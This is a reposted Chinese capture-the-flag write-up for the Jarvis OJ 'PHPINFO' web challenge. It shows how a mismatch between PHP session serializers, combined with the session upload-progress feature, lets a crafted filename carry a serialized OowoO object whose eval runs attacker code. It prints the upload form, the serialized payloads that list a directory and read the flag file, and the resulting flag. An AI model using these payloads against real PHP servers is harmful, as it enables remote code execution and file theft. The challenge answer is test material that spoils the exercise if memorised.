码迷,mamicode.com
首页 > 编程语言 > 详细

Jarvis OJ--PHPINFO

时间:2020-06-01 13:39:46      阅读:85      评论:0      收藏:0      [点我收藏+]

标签:赋值   现在   serve   运行脚本   new   const   star   执行   hand   

一道浙大的题目

题目地址:http://web.jarvisoj.com:32784

拿到这道题目,

技术图片

 

 

是一道反序列化的题目,题目源码很简单,当创建OowoO()这个类的对象时,会自动调用__construct()这个魔术方法,给mdzz这个变量赋值为"phpinfo();",然后程序执行结束后会自动调用__destruct这个魔术方法,触发了eval()

虽然我们现在没有思路,但是我们可以先操作看看,可能就有灵感了呢

先随便给phpinfo这个变量get一个值

http://web.jarvisoj.com:32784/?phpinfo=a

技术图片

 

 

成功执行了phpinfo();

题目中有个这

ini_set(‘session.serialize_handler‘‘php‘);

考虑到可能是序列化引擎不同导致的session反序列漏洞

我们来看一下session的配置

技术图片

 

 

果然,存储和读取session时用到的处理器引擎不一样

现在有个问题,session是怎么传进去的呢,之前都是有个$_SESSION=$_GET[‘a‘],通过参数a传进去

本题没有$_SESSION进行变量赋值,这种情况我们可以用php文件上传进度来解决

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

也可查看php官方文档:

技术图片

 

 

 

回到本题,看下session的配置

技术图片

 

 

刚好可以利用

我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
PHP会将文件名保存在$_SESSION中
所以构造一个提交文件的表单:

1 <form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype="multipart/form-data">
2     <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="1"/>
3     <input type ="file" name ="file"/>
4     <input type ="submit"/>
5 </form>

然后构造一个序列化的数据:

1 <?php
2 ini_set(‘session.serialize.handler‘,‘php‘);
3 session_start();
4 class OowoO{
5     public $mdzz = ‘payload‘;
6 }
7 $obj  = new OowoO();
8 echo serialize($obj);
9 ?>

将payload改为如下代码

print_r(scandir(dirname(__FILE__)));
#scandir目录中的文件和目录
#dirname函数返回路径中的目录部分
#__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
#序列化后的结果
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义,在双引号前加上\,除此之外还要加上|

 

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

 

在这个页面随便上传一个文件,然后抓包修改filename的值

技术图片

 

 

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

技术图片

 

 

$_SERVER[‘SCRIPT_FILENAME‘] 也是包含当前运行脚本的路径,与 $_SERVER[‘SCRIPT_NAME‘] 不同的

既然知道了路径,就继续构造payload即可

 

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。

 

接下来的就还是序列化然后改一下格式传入即可

技术图片

 

 

 

附上flag

CTF{4d96e37f4be998c50aa586de4ada354a}

 

Jarvis OJ--PHPINFO

标签:赋值   现在   serve   运行脚本   new   const   star   执行   hand   

原文地址:https://www.cnblogs.com/zzjdbk/p/13024425.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!